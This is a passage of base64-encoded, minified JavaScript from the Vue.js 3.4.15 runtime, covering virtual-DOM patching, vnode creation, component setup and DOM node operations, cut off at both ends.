saCxtLHcsYixDLEEsSSxPKT0+e2xldCBFPTA7Y29uc3QgTT1oLmxlbmd0aDtsZXQgSD11Lmxlbmd0aC0xLFI9TS0xO2Zvcig7RTw9SCYmRTw9Ujspe2NvbnN0IEI9dVtFXSxRPWhbRV09Tz9sdChoW0VdKTpxZShoW0VdKTtpZihEdChCLFEpKUooQixRLG0sbnVsbCxiLEMsQSxJLE8pO2Vsc2UgYnJlYWs7RSsrfWZvcig7RTw9SCYmRTw9Ujspe2NvbnN0IEI9dVtIXSxRPWhbUl09Tz9sdChoW1JdKTpxZShoW1JdKTtpZihEdChCLFEpKUooQixRLG0sbnVsbCxiLEMsQSxJLE8pO2Vsc2UgYnJlYWs7SC0tLFItLX1pZihFPkgpe2lmKEU8PVIpe2NvbnN0IEI9UisxLFE9QjxNP2hbQl0uZWw6dztmb3IoO0U8PVI7KUoobnVsbCxoW0VdPU8/bHQoaFtFXSk6cWUoaFtFXSksbSxRLGIsQyxBLEksTyksRSsrfX1lbHNlIGlmKEU+Uilmb3IoO0U8PUg7KVVlKHVbRV0sYixDLCEwKSxFKys7ZWxzZXtjb25zdCBCPUUsUT1FLGNlPW5ldyBNYXA7Zm9yKEU9UTtFPD1SO0UrKyl7Y29uc3QgTGU9aFtFXT1PP2x0KGhbRV0pOnFlKGhbRV0pO0xlLmtleSE9bnVsbCYmY2Uuc2V0KExlLmtleSxFKX1sZXQgaGUsYmU9MDtjb25zdCBIZT1SLVErMTtsZXQgQXQ9ITEsR3M9MDtjb25zdCBCdD1uZXcgQXJyYXkoSGUpO2ZvcihFPTA7RTxIZTtFKyspQnRbRV09MDtmb3IoRT1CO0U8PUg7RSsrKXtjb25zdCBMZT11W0VdO2lmKGJlPj1IZSl7VWUoTGUsYixDLCEwKTtjb250aW51ZX1sZXQgV2U7aWYoTGUua2V5IT1udWxsKVdlPWNlLmdldChMZS5rZXkpO2Vsc2UgZm9yKGhlPVE7aGU8PVI7aGUrKylpZihCdFtoZS1RXT09PTAmJkR0KExlLGhbaGVdKSl7V2U9aGU7YnJlYWt9V2U9PT12b2lkIDA/VWUoTGUsYixDLCEwKTooQnRbV2UtUV09RSsxLFdlPj1Hcz9Hcz1XZTpBdD0hMCxKKExlLGhbV2VdLG0sbnVsbCxiLEMsQSxJLE8pLGJlKyspfWNvbnN0IEtzPUF0P0JsKEJ0KTokdDtmb3IoaGU9S3MubGVuZ3RoLTEsRT1IZS0xO0U+PTA7RS0tKXtjb25zdCBMZT1RK0UsV2U9aFtMZV0senM9TGUrMTxNP2hbTGUrMV0uZWw6dztCdFtFXT09PTA/SihudWxsLFdlLG0senMsYixDLEEsSSxPKTpBdCYmKGhlPDB8fEUhPT1Lc1toZV0/cGUoV2UsbSx6cywyKTpoZS0tKX19fSxwZT0odSxoLG0sdyxiPW51bGwpPT57Y29uc3R7ZWw6Qyx0eXBlOkEsdHJhbnNpdGlvbjpJLGNoaWxkcmVuOk8sc2hhcGVGbGFnOkV9PXU7aWYoRSY2KXtwZSh1LmNvbXBvbmVudC5zdWJUcmVlLGgsbSx3KTtyZXR1cm59aWYoRSYxMjgpe3Uuc3VzcGVuc2UubW92ZShoLG0sdyk7cmV0dXJufWlmKEUmNjQpe0EubW92ZSh1LGgsbSxUdCk7cmV0dXJufWlmKEE9PT1tZSl7cyhDLGgsbSk7Zm9yKGxldCBIPTA7SDxPLmxlbmd0aDtIKyspcGUoT1tIXSxoLG0sdyk7cyh1LmFuY2hvcixoLG0pO3JldHVybn1pZihBPT09WG4pe1godSxoLG0pO3JldHVybn1pZih3IT09MiYmRSYxJiZJKWlmKHc9PT0wKUkuYmVmb3JlRW50ZXIoQykscyhDLGgsbSkseGUoKCk9PkkuZW50ZXIoQyksYik7ZWxzZXtjb25zdHtsZWF2ZTpILGRlbGF5TGVhdmU6UixhZnRlckxlYXZlOkJ9PUksUT0oKT0+cyhDLGgsbSksY2U9KCk9PntIKEMsKCk9PntRKCksQiYmQigpfSl9O1I/UihDLFEsY2UpOmNlKCl9ZWxzZSBzKEMsaCxtKX0sVWU9KHUsaCxtLHc9ITEsYj0hMSk9Pntjb25zdHt0eXBlOkMscHJvcHM6QSxyZWY6SSxjaGlsZHJlbjpPLGR5bmFtaWNDaGlsZHJlbjpFLHNoYXBlRmxhZzpNLHBhdGNoRmxhZzpILGRpcnM6Un09dTtpZihJIT1udWxsJiZwcyhJLG51bGwsbSx1LCEwKSxNJjI1Nil7aC5jdHguZGVhY3RpdmF0ZSh1KTtyZXR1cm59Y29uc3QgQj1NJjEmJlIsUT0hcG4odSk7bGV0IGNlO2lmKFEmJihjZT1BJiZBLm9uVm5vZGVCZWZvcmVVbm1vdW50KSYmSmUoY2UsaCx1KSxNJjYpdWkodS5jb21wb25lbnQsbSx3KTtlbHNle2lmKE0mMTI4KXt1LnN1c3BlbnNlLnVubW91bnQobSx3KTtyZXR1cm59QiYmaHQodSxudWxsLGgsImJlZm9yZVVubW91bnQiKSxNJjY0P3UudHlwZS5yZW1vdmUodSxoLG0sYixUdCx3KTpFJiYoQyE9PW1lfHxIPjAmJkgmNjQpP1plKEUsaCxtLCExLCEwKTooQz09PW1lJiZIJjM4NHx8IWImJk0mMTYpJiZaZShPLGgsbSksdyYmanModSl9KFEmJihjZT1BJiZBLm9uVm5vZGVVbm1vdW50ZWQpfHxCKSYmeGUoKCk9PntjZSYmSmUoY2UsaCx1KSxCJiZodCh1LG51bGwsaCwidW5tb3VudGVkIil9LG0pfSxqcz11PT57Y29uc3R7dHlwZTpoLGVsOm0sYW5jaG9yOncsdHJhbnNpdGlvbjpifT11O2lmKGg9PT1tZSl7YWkobSx3KTtyZXR1cm59aWYoaD09PVhuKXtaKHUpO3JldHVybn1jb25zdCBDPSgpPT57byhtKSxiJiYhYi5wZXJzaXN0ZWQmJmIuYWZ0ZXJMZWF2ZSYmYi5hZnRlckxlYXZlKCl9O2lmKHUuc2hhcGVGbGFnJjEmJmImJiFiLnBlcnNpc3RlZCl7Y29uc3R7bGVhdmU6QSxkZWxheUxlYXZlOkl9PWIsTz0oKT0+QShtLEMpO0k/SSh1LmVsLEMsTyk6TygpfWVsc2UgQygpfSxhaT0odSxoKT0+e2xldCBtO2Zvcig7dSE9PWg7KW09dih1KSxvKHUpLHU9bTtvKGgpfSx1aT0odSxoLG0pPT57Y29uc3R7YnVtOncsc2NvcGU6Yix1cGRhdGU6QyxzdWJUcmVlOkEsdW06SX09dTt3JiZfbih3KSxiLnN0b3AoKSxDJiYoQy5hY3RpdmU9ITEsVWUoQSx1LGgsbSkpLEkmJnhlKEksaCkseGUoKCk9Pnt1LmlzVW5tb3VudGVkPSEwfSxoKSxoJiZoLnBlbmRpbmdCcmFuY2gmJiFoLmlzVW5tb3VudGVkJiZ1LmFzeW5jRGVwJiYhdS5hc3luY1Jlc29sdmVkJiZ1LnN1c3BlbnNlSWQ9PT1oLnBlbmRpbmdJZCYmKGguZGVwcy0tLGguZGVwcz09PTAmJmgucmVzb2x2ZSgpKX0sWmU9KHUsaCxtLHc9ITEsYj0hMSxDPTApPT57Zm9yKGxldCBBPUM7QTx1Lmxlbmd0aDtBKyspVWUodVtBXSxoLG0sdyxiKX0sc249dT0+dS5zaGFwZUZsYWcmNj9zbih1LmNvbXBvbmVudC5zdWJUcmVlKTp1LnNoYXBlRmxhZyYxMjg/dS5zdXNwZW5zZS5uZXh0KCk6dih1LmFuY2hvcnx8dS5lbCk7bGV0IGpuPSExO2NvbnN0IEJzPSh1LGgsbSk9Pnt1PT1udWxsP2guX3Zub2RlJiZVZShoLl92bm9kZSxudWxsLG51bGwsITApOkooaC5fdm5vZGV8fG51bGwsdSxoLG51bGwsbnVsbCxudWxsLG0pLGpufHwoam49ITAsbnIoKSxjbygpLGpuPSExKSxoLl92bm9kZT11fSxUdD17cDpKLHVtOlVlLG06cGUscjpqcyxtdDp4LG1jOk4scGM6VSxwYmM6c2UsbjpzbixvOmV9O2xldCBCbixHbjtyZXR1cm4gdCYmKFtCbixHbl09dChUdCkpLHtyZW5kZXI6QnMsaHlkcmF0ZTpCbixjcmVhdGVBcHA6RmwoQnMsQm4pfX1mdW5jdGlvbiBxbih7dHlwZTplLHByb3BzOnR9LG4pe3JldHVybiBuPT09InN2ZyImJmU9PT0iZm9yZWlnbk9iamVjdCJ8fG49PT0ibWF0aG1sIiYmZT09PSJhbm5vdGF0aW9uLXhtbCImJnQmJnQuZW5jb2RpbmcmJnQuZW5jb2RpbmcuaW5jbHVkZXMoImh0bWwiKT92b2lkIDA6bn1mdW5jdGlvbiBfdCh7ZWZmZWN0OmUsdXBkYXRlOnR9LG4pe2UuYWxsb3dSZWN1cnNlPXQuYWxsb3dSZWN1cnNlPW59ZnVuY3Rpb24gamwoZSx0KXtyZXR1cm4oIWV8fGUmJiFlLnBlbmRpbmdCcmFuY2gpJiZ0JiYhdC5wZXJzaXN0ZWR9ZnVuY3Rpb24gQW8oZSx0LG49ITEpe2NvbnN0IHM9ZS5jaGlsZHJlbixvPXQuY2hpbGRyZW47aWYoVihzKSYmVihvKSlmb3IobGV0IHI9MDtyPHMubGVuZ3RoO3IrKyl7Y29uc3QgaT1zW3JdO2xldCBsPW9bcl07bC5zaGFwZUZsYWcmMSYmIWwuZHluYW1pY0NoaWxkcmVuJiYoKGwucGF0Y2hGbGFnPD0wfHxsLnBhdGNoRmxhZz09PTMyKSYmKGw9b1tyXT1sdChvW3JdKSxsLmVsPWkuZWwpLG58fEFvKGksbCkpLGwudHlwZT09PVJuJiYobC5lbD1pLmVsKX19ZnVuY3Rpb24gQmwoZSl7Y29uc3QgdD1lLnNsaWNlKCksbj1bMF07bGV0IHMsbyxyLGksbDtjb25zdCBjPWUubGVuZ3RoO2ZvcihzPTA7czxjO3MrKyl7Y29uc3QgZj1lW3NdO2lmKGYhPT0wKXtpZihvPW5bbi5sZW5ndGgtMV0sZVtvXTxmKXt0W3NdPW8sbi5wdXNoKHMpO2NvbnRpbnVlfWZvcihyPTAsaT1uLmxlbmd0aC0xO3I8aTspbD1yK2k+PjEsZVtuW2xdXTxmP3I9bCsxOmk9bDtmPGVbbltyXV0mJihyPjAmJih0W3NdPW5bci0xXSksbltyXT1zKX19Zm9yKHI9bi5sZW5ndGgsaT1uW3ItMV07ci0tID4wOyluW3JdPWksaT10W2ldO3JldHVybiBufWZ1bmN0aW9uIE1vKGUpe2NvbnN0IHQ9ZS5zdWJUcmVlLmNvbXBvbmVudDtpZih0KXJldHVybiB0LmFzeW5jRGVwJiYhdC5hc3luY1Jlc29sdmVkP3Q6TW8odCl9Y29uc3QgR2w9ZT0+ZS5fX2lzVGVsZXBvcnQsbWU9U3ltYm9sLmZvcigidi1mZ3QiKSxSbj1TeW1ib2wuZm9yKCJ2LXR4dCIpLGR0PVN5bWJvbC5mb3IoInYtY210IiksWG49U3ltYm9sLmZvcigidi1zdGMiKSxZdD1bXTtsZXQgS2U9bnVsbDtmdW5jdGlvbiBTKGU9ITEpe1l0LnB1c2goS2U9ZT9udWxsOltdKX1mdW5jdGlvbiBLbCgpe1l0LnBvcCgpLEtlPVl0W1l0Lmxlbmd0aC0xXXx8bnVsbH1sZXQgUXQ9MTtmdW5jdGlvbiBkcihlKXtRdCs9ZX1mdW5jdGlvbiBMbyhlKXtyZXR1cm4gZS5keW5hbWljQ2hpbGRyZW49UXQ+MD9LZXx8JHQ6bnVsbCxLbCgpLFF0PjAmJktlJiZLZS5wdXNoKGUpLGV9ZnVuY3Rpb24gayhlLHQsbixzLG8scil7cmV0dXJuIExvKGQoZSx0LG4scyxvLHIsITApKX1mdW5jdGlvbiBCZShlLHQsbixzLG8pe3JldHVybiBMbygkKGUsdCxuLHMsbywhMCkpfWZ1bmN0aW9uIHpsKGUpe3JldHVybiBlP2UuX192X2lzVk5vZGU9PT0hMDohMX1mdW5jdGlvbiBEdChlLHQpe3JldHVybiBlLnR5cGU9PT10LnR5cGUmJmUua2V5PT09dC5rZXl9Y29uc3QgTm49Il9fdkludGVybmFsIixGbz0oe2tleTplfSk9PmU/P251bGwsbW49KHtyZWY6ZSxyZWZfa2V5OnQscmVmX2ZvcjpufSk9Pih0eXBlb2YgZT09Im51bWJlciImJihlPSIiK2UpLGUhPW51bGw/eWUoZSl8fEZlKGUpfHxLKGUpP3tpOlRlLHI6ZSxrOnQsZjohIW59OmU6bnVsbCk7ZnVuY3Rpb24gZChlLHQ9bnVsbCxuPW51bGwscz0wLG89bnVsbCxyPWU9PT1tZT8wOjEsaT0hMSxsPSExKXtjb25zdCBjPXtfX3ZfaXNWTm9kZTohMCxfX3Zfc2tpcDohMCx0eXBlOmUscHJvcHM6dCxrZXk6dCYmRm8odCkscmVmOnQmJm1uKHQpLHNjb3BlSWQ6RG4sc2xvdFNjb3BlSWRzOm51bGwsY2hpbGRyZW46bixjb21wb25lbnQ6bnVsbCxzdXNwZW5zZTpudWxsLHNzQ29udGVudDpudWxsLHNzRmFsbGJhY2s6bnVsbCxkaXJzOm51bGwsdHJhbnNpdGlvbjpudWxsLGVsOm51bGwsYW5jaG9yOm51bGwsdGFyZ2V0Om51bGwsdGFyZ2V0QW5jaG9yOm51bGwsc3RhdGljQ291bnQ6MCxzaGFwZUZsYWc6cixwYXRjaEZsYWc6cyxkeW5hbWljUHJvcHM6byxkeW5hbWljQ2hpbGRyZW46bnVsbCxhcHBDb250ZXh0Om51bGwsY3R4OlRlfTtyZXR1cm4gbD8oTnMoYyxuKSxyJjEyOCYmZS5ub3JtYWxpemUoYykpOm4mJihjLnNoYXBlRmxhZ3w9eWUobik/ODoxNiksUXQ+MCYmIWkmJktlJiYoYy5wYXRjaEZsYWc+MHx8ciY2KSYmYy5wYXRjaEZsYWchPT0zMiYmS2UucHVzaChjKSxjfWNvbnN0ICQ9V2w7ZnVuY3Rpb24gV2woZSx0PW51bGwsbj1udWxsLHM9MCxvPW51bGwscj0hMSl7aWYoKCFlfHxlPT09Y2wpJiYoZT1kdCksemwoZSkpe2NvbnN0IGw9U3QoZSx0LCEwKTtyZXR1cm4gbiYmTnMobCxuKSxRdD4wJiYhciYmS2UmJihsLnNoYXBlRmxhZyY2P0tlW0tlLmluZGV4T2YoZSldPWw6S2UucHVzaChsKSksbC5wYXRjaEZsYWd8PS0yLGx9aWYocmMoZSkmJihlPWUuX192Y2NPcHRzKSx0KXt0PUpsKHQpO2xldHtjbGFzczpsLHN0eWxlOmN9PXQ7bCYmIXllKGwpJiYodC5jbGFzcz16KGwpKSxmZShjKSYmKG5vKGMpJiYhVihjKSYmKGM9d2Uoe30sYykpLHQuc3R5bGU9SXMoYykpfWNvbnN0IGk9eWUoZSk/MTphbChlKT8xMjg6R2woZSk/NjQ6ZmUoZSk/NDpLKGUpPzI6MDtyZXR1cm4gZChlLHQsbixzLG8saSxyLCEwKX1mdW5jdGlvbiBKbChlKXtyZXR1cm4gZT9ubyhlKXx8Tm4gaW4gZT93ZSh7fSxlKTplOm51bGx9ZnVuY3Rpb24gU3QoZSx0LG49ITEpe2NvbnN0e3Byb3BzOnMscmVmOm8scGF0Y2hGbGFnOnIsY2hpbGRyZW46aX09ZSxsPXQ/WWwoc3x8e30sdCk6cztyZXR1cm57X192X2lzVk5vZGU6ITAsX192X3NraXA6ITAsdHlwZTplLnR5cGUscHJvcHM6bCxrZXk6bCYmRm8obCkscmVmOnQmJnQucmVmP24mJm8/VihvKT9vLmNvbmNhdChtbih0KSk6W28sbW4odCldOm1uKHQpOm8sc2NvcGVJZDplLnNjb3BlSWQsc2xvdFNjb3BlSWRzOmUuc2xvdFNjb3BlSWRzLGNoaWxkcmVuOmksdGFyZ2V0OmUudGFyZ2V0LHRhcmdldEFuY2hvcjplLnRhcmdldEFuY2hvcixzdGF0aWNDb3VudDplLnN0YXRpY0NvdW50LHNoYXBlRmxhZzplLnNoYXBlRmxhZyxwYXRjaEZsYWc6dCYmZS50eXBlIT09bWU/cj09PS0xPzE2OnJ8MTY6cixkeW5hbWljUHJvcHM6ZS5keW5hbWljUHJvcHMsZHluYW1pY0NoaWxkcmVuOmUuZHluYW1pY0NoaWxkcmVuLGFwcENvbnRleHQ6ZS5hcHBDb250ZXh0LGRpcnM6ZS5kaXJzLHRyYW5zaXRpb246ZS50cmFuc2l0aW9uLGNvbXBvbmVudDplLmNvbXBvbmVudCxzdXNwZW5zZTplLnN1c3BlbnNlLHNzQ29udGVudDplLnNzQ29udGVudCYmU3QoZS5zc0NvbnRlbnQpLHNzRmFsbGJhY2s6ZS5zc0ZhbGxiYWNrJiZTdChlLnNzRmFsbGJhY2spLGVsOmUuZWwsYW5jaG9yOmUuYW5jaG9yLGN0eDplLmN0eCxjZTplLmNlfX1mdW5jdGlvbiBQKGU9IiAiLHQ9MCl7cmV0dXJuICQoUm4sbnVsbCxlLHQpfWZ1bmN0aW9uICRlKGU9IiIsdD0hMSl7cmV0dXJuIHQ/KFMoKSxCZShkdCxudWxsLGUpKTokKGR0LG51bGwsZSl9ZnVuY3Rpb24gcWUoZSl7cmV0dXJuIGU9PW51bGx8fHR5cGVvZiBlPT0iYm9vbGVhbiI/JChkdCk6VihlKT8kKG1lLG51bGwsZS5zbGljZSgpKTp0eXBlb2YgZT09Im9iamVjdCI/bHQoZSk6JChSbixudWxsLFN0cmluZyhlKSl9ZnVuY3Rpb24gbHQoZSl7cmV0dXJuIGUuZWw9PT1udWxsJiZlLnBhdGNoRmxhZyE9PS0xfHxlLm1lbW8/ZTpTdChlKX1mdW5jdGlvbiBOcyhlLHQpe2xldCBuPTA7Y29uc3R7c2hhcGVGbGFnOnN9PWU7aWYodD09bnVsbCl0PW51bGw7ZWxzZSBpZihWKHQpKW49MTY7ZWxzZSBpZih0eXBlb2YgdD09Im9iamVjdCIpaWYocyY2NSl7Y29uc3Qgbz10LmRlZmF1bHQ7byYmKG8uX2MmJihvLl9kPSExKSxOcyhlLG8oKSksby5fYyYmKG8uX2Q9ITApKTtyZXR1cm59ZWxzZXtuPTMyO2NvbnN0IG89dC5fOyFvJiYhKE5uIGluIHQpP3QuX2N0eD1UZTpvPT09MyYmVGUmJihUZS5zbG90cy5fPT09MT90Ll89MToodC5fPTIsZS5wYXRjaEZsYWd8PTEwMjQpKX1lbHNlIEsodCk/KHQ9e2RlZmF1bHQ6dCxfY3R4OlRlfSxuPTMyKToodD1TdHJpbmcodCkscyY2ND8obj0xNix0PVtQKHQpXSk6bj04KTtlLmNoaWxkcmVuPXQsZS5zaGFwZUZsYWd8PW59ZnVuY3Rpb24gWWwoLi4uZSl7Y29uc3QgdD17fTtmb3IobGV0IG49MDtuPGUubGVuZ3RoO24rKyl7Y29uc3Qgcz1lW25dO2Zvcihjb25zdCBvIGluIHMpaWYobz09PSJjbGFzcyIpdC5jbGFzcyE9PXMuY2xhc3MmJih0LmNsYXNzPXooW3QuY2xhc3Mscy5jbGFzc10pKTtlbHNlIGlmKG89PT0ic3R5bGUiKXQuc3R5bGU9SXMoW3Quc3R5bGUscy5zdHlsZV0pO2Vsc2UgaWYoa24obykpe2NvbnN0IHI9dFtvXSxpPXNbb107aSYmciE9PWkmJiEoVihyKSYmci5pbmNsdWRlcyhpKSkmJih0W29dPXI/W10uY29uY2F0KHIsaSk6aSl9ZWxzZSBvIT09IiImJih0W29dPXNbb10pfXJldHVybiB0fWZ1bmN0aW9uIEplKGUsdCxuLHM9bnVsbCl7TmUoZSx0LDcsW24sc10pfWNvbnN0IHFsPUlvKCk7bGV0IFhsPTA7ZnVuY3Rpb24gWmwoZSx0LG4pe2NvbnN0IHM9ZS50eXBlLG89KHQ/dC5hcHBDb250ZXh0OmUuYXBwQ29udGV4dCl8fHFsLHI9e3VpZDpYbCsrLHZub2RlOmUsdHlwZTpzLHBhcmVudDp0LGFwcENvbnRleHQ6byxyb290Om51bGwsbmV4dDpudWxsLHN1YlRyZWU6bnVsbCxlZmZlY3Q6bnVsbCx1cGRhdGU6bnVsbCxzY29wZTpuZXcganIoITApLHJlbmRlcjpudWxsLHByb3h5Om51bGwsZXhwb3NlZDpudWxsLGV4cG9zZVByb3h5Om51bGwsd2l0aFByb3h5Om51bGwscHJvdmlkZXM6dD90LnByb3ZpZGVzOk9iamVjdC5jcmVhdGUoby5wcm92aWRlcyksYWNjZXNzQ2FjaGU6bnVsbCxyZW5kZXJDYWNoZTpbXSxjb21wb25lbnRzOm51bGwsZGlyZWN0aXZlczpudWxsLHByb3BzT3B0aW9uczprbyhzLG8pLGVtaXRzT3B0aW9uczp1byhzLG8pLGVtaXQ6bnVsbCxlbWl0dGVkOm51bGwscHJvcHNEZWZhdWx0czpkZSxpbmhlcml0QXR0cnM6cy5pbmhlcml0QXR0cnMsY3R4OmRlLGRhdGE6ZGUscHJvcHM6ZGUsYXR0cnM6ZGUsc2xvdHM6ZGUscmVmczpkZSxzZXR1cFN0YXRlOmRlLHNldHVwQ29udGV4dDpudWxsLGF0dHJzUHJveHk6bnVsbCxzbG90c1Byb3h5Om51bGwsc3VzcGVuc2U6bixzdXNwZW5zZUlkOm4/bi5wZW5kaW5nSWQ6MCxhc3luY0RlcDpudWxsLGFzeW5jUmVzb2x2ZWQ6ITEsaXNNb3VudGVkOiExLGlzVW5tb3VudGVkOiExLGlzRGVhY3RpdmF0ZWQ6ITEsYmM6bnVsbCxjOm51bGwsYm06bnVsbCxtOm51bGwsYnU6bnVsbCx1Om51bGwsdW06bnVsbCxidW06bnVsbCxkYTpudWxsLGE6bnVsbCxydGc6bnVsbCxydGM6bnVsbCxlYzpudWxsLHNwOm51bGx9O3JldHVybiByLmN0eD17XzpyfSxyLnJvb3Q9dD90LnJvb3Q6cixyLmVtaXQ9c2wuYmluZChudWxsLHIpLGUuY2UmJmUuY2Uocikscn1sZXQgSWU9bnVsbDtjb25zdCBRbD0oKT0+SWV8fFRlO2xldCBFbixnczt7Y29uc3QgZT1QcigpLHQ9KG4scyk9PntsZXQgbztyZXR1cm4obz1lW25dKXx8KG89ZVtuXT1bXSksby5wdXNoKHMpLHI9PntvLmxlbmd0aD4xP28uZm9yRWFjaChpPT5pKHIpKTpvWzBdKHIpfX07RW49dCgiX19WVUVfSU5TVEFOQ0VfU0VUVEVSU19fIixuPT5JZT1uKSxncz10KCJfX1ZVRV9TU1JfU0VUVEVSU19fIixuPT5Qbj1uKX1jb25zdCB0bj1lPT57Y29uc3QgdD1JZTtyZXR1cm4gRW4oZSksZS5zY29wZS5vbigpLCgpPT57ZS5zY29wZS5vZmYoKSxFbih0KX19LGhyPSgpPT57SWUmJkllLnNjb3BlLm9mZigpLEVuKG51bGwpfTtmdW5jdGlvbiBEbyhlKXtyZXR1cm4gZS52bm9kZS5zaGFwZUZsYWcmNH1sZXQgUG49ITE7ZnVuY3Rpb24gZWMoZSx0PSExKXt0JiZncyh0KTtjb25zdHtwcm9wczpuLGNoaWxkcmVuOnN9PWUudm5vZGUsbz1EbyhlKTskbChlLG4sbyx0KSxQbChlLHMpO2NvbnN0IHI9bz90YyhlLHQpOnZvaWQgMDtyZXR1cm4gdCYmZ3MoITEpLHJ9ZnVuY3Rpb24gdGMoZSx0KXtjb25zdCBuPWUudHlwZTtlLmFjY2Vzc0NhY2hlPU9iamVjdC5jcmVhdGUobnVsbCksZS5wcm94eT1zbyhuZXcgUHJveHkoZS5jdHgsa2wpKTtjb25zdHtzZXR1cDpzfT1uO2lmKHMpe2NvbnN0IG89ZS5zZXR1cENvbnRleHQ9cy5sZW5ndGg+MT9zYyhlKTpudWxsLHI9dG4oZSk7a3QoKTtjb25zdCBpPXV0KHMsZSwwLFtlLnByb3BzLG9dKTtpZihPdCgpLHIoKSxEcihpKSl7aWYoaS50aGVuKGhyLGhyKSx0KXJldHVybiBpLnRoZW4obD0+e19yKGUsbCx0KX0pLmNhdGNoKGw9PntMbihsLGUsMCl9KTtlLmFzeW5jRGVwPWl9ZWxzZSBfcihlLGksdCl9ZWxzZSAkbyhlLHQpfWZ1bmN0aW9uIF9yKGUsdCxuKXtLKHQpP2UudHlwZS5fX3NzcklubGluZVJlbmRlcj9lLnNzclJlbmRlcj10OmUucmVuZGVyPXQ6ZmUodCkmJihlLnNldHVwU3RhdGU9b28odCkpLCRvKGUsbil9bGV0IHByO2Z1bmN0aW9uICRvKGUsdCxuKXtjb25zdCBzPWUudHlwZTtpZighZS5yZW5kZXIpe2lmKCF0JiZwciYmIXMucmVuZGVyKXtjb25zdCBvPXMudGVtcGxhdGV8fCRzKGUpLnRlbXBsYXRlO2lmKG8pe2NvbnN0e2lzQ3VzdG9tRWxlbWVudDpyLGNvbXBpbGVyT3B0aW9uczppfT1lLmFwcENvbnRleHQuY29uZmlnLHtkZWxpbWl0ZXJzOmwsY29tcGlsZXJPcHRpb25zOmN9PXMsZj13ZSh3ZSh7aXNDdXN0b21FbGVtZW50OnIsZGVsaW1pdGVyczpsfSxpKSxjKTtzLnJlbmRlcj1wcihvLGYpfX1lLnJlbmRlcj1zLnJlbmRlcnx8UmV9e2NvbnN0IG89dG4oZSk7a3QoKTt0cnl7T2woZSl9ZmluYWxseXtPdCgpLG8oKX19fWZ1bmN0aW9uIG5jKGUpe3JldHVybiBlLmF0dHJzUHJveHl8fChlLmF0dHJzUHJveHk9bmV3IFByb3h5KGUuYXR0cnMse2dldCh0LG4pe3JldHVybiBBZShlLCJnZXQiLCIkYXR0cnMiKSx0W25dfX0pKX1mdW5jdGlvbiBzYyhlKXtjb25zdCB0PW49PntlLmV4cG9zZWQ9bnx8e319O3JldHVybntnZXQgYXR0cnMoKXtyZXR1cm4gbmMoZSl9LHNsb3RzOmUuc2xvdHMsZW1pdDplLmVtaXQsZXhwb3NlOnR9fWZ1bmN0aW9uIFVuKGUpe2lmKGUuZXhwb3NlZClyZXR1cm4gZS5leHBvc2VQcm94eXx8KGUuZXhwb3NlUHJveHk9bmV3IFByb3h5KG9vKHNvKGUuZXhwb3NlZCkpLHtnZXQodCxuKXtpZihuIGluIHQpcmV0dXJuIHRbbl07aWYobiBpbiBKdClyZXR1cm4gSnRbbl0oZSl9LGhhcyh0LG4pe3JldHVybiBuIGluIHR8fG4gaW4gSnR9fSkpfWZ1bmN0aW9uIHJjKGUpe3JldHVybiBLKGUpJiYiX192Y2NPcHRzImluIGV9Y29uc3QgUm89KGUsdCk9PldpKGUsdCxQbiksb2M9IjMuNC4xNSI7LyoqCiogQHZ1ZS9ydW50aW1lLWRvbSB2My40LjE1CiogKGMpIDIwMTgtcHJlc2VudCBZdXhpIChFdmFuKSBZb3UgYW5kIFZ1ZSBjb250cmlidXRvcnMKKiBAbGljZW5zZSBNSVQKKiovY29uc3QgaWM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIixsYz0iaHR0cDovL3d3dy53My5vcmcvMTk5OC9NYXRoL01hdGhNTCIsY3Q9dHlwZW9mIGRvY3VtZW50PCJ1Ij9kb2N1bWVudDpudWxsLGdyPWN0JiZjdC5jcmVhdGVFbGVtZW50KCJ0ZW1wbGF0ZSIpLGNjPXtpbnNlcnQ6KGUsdCxuKT0+e3QuaW5zZXJ0QmVmb3JlKGUsbnx8bnVsbCl9LHJlbW92ZTplPT57Y29uc3QgdD1lLnBhcmVudE5vZGU7dCYmdC5yZW1vdmVDaGlsZChlKX0sY3JlYXRlRWxlbWVudDooZSx0LG4scyk9Pntjb25zdCBvPXQ9PT0ic3ZnIj9jdC5jcmVhdGVFbGVtZW50TlMoaWMsZSk6dD09PSJtYXRobWwiP2N0LmNyZWF0ZUVsZW1lbnROUyhsYyxlKTpjdC5jcmVhdGVFbGVtZW50KGUsbj97aXM6bn06dm9pZCAwKTtyZXR1cm4gZT09PSJzZWxlY3QiJiZzJiZzLm11bHRpcGxlIT1udWxsJiZvLnNldEF0dHJpYnV0ZSgibXVsdGlwbGUiLHMubXVsdGlwbGUpLG99LGNyZWF0ZVRleHQ6ZT0+Y3QuY3JlYXRlVGV4dE5vZGUoZSksY3JlYXRlQ29tbWVudDplPT5jdC5jcmVhdGVDb21tZW50KGUpLHNldFRleHQ6KGUsdCk9PntlLm5vZGVWYWx1ZT10fSxzZXRFbGVtZW50VGV4dDooZSx0KT0+e2UudGV4dENvbnRlbnQ9dH0scGFyZW50Tm9kZTplPT5lLnBhcmVudE5vZGUsbmV4dFNpYmxpbmc6ZT0+ZS5uZXh0U2libGluZyxxdWVyeVNlbGVjdG9yOmU9PmN0LnF1ZXJ5U2VsZWN0b3IoZSksc2V0U2NvcGVJZChlLHQpe2Uuc2V0QXR0cmlidXRlKHQsIiIpfSxpbnNlcnRTdGF0aWNDb250ZW50KGUsdCxuLHMsbyxyKXtjb25zdCBpPW4/bi5wcmV2aW91c1NpYmxpbmc6dC5sYXN0Q2hpbGQ7aWYobyYmKG89PT1yfHxvLm5leHRTaWJsaW5nKSlmb3IoO3QuaW5zZXJ0QmVmb3JlKG8uY2xvbmVOb2RlKCEwKSxuKSwhKG89PT1yfHwhKG89by5uZXh0U2libGluZykpOyk7ZWxzZXtnci5pbm5lckhUTUw9cz09PSJzdmciP2A8c3ZnPiR7ZX08L3N2Zz5gOnM9PT0ibWF0aG1sIj9gPG1hdGg+JHtlfTwvbWF0aD5gOmU7Y29uc3QgbD1nci5jb250ZW50O2lmKHM9PT0ic3ZnInx8cz09PSJtYXRobWwiKXtjb25zdCBjPWwuZmlyc3RDaGlsZDtmb3IoO2MuZmlyc3RDaGlsZDspbC5hcHBlbmRDaGlsZChjLmZpcnN0Q2hpbGQpO2wucmVtb3ZlQ2hpbGQoYyl9dC5pbnNlcnRCZWZvcmUobCxuKX1yZXR1cm5baT9pLm5leHRTaWJsaW5nOnQuZmlyc3RDaGlsZCxuP24ucHJldmlvdXNTaWJsaW5nOnQubGFzdENoaWxkXX19LHJ0PSJ0cmFuc2l0aW9uIixHdD0iYW5pbWF0aW9uIixWdD1T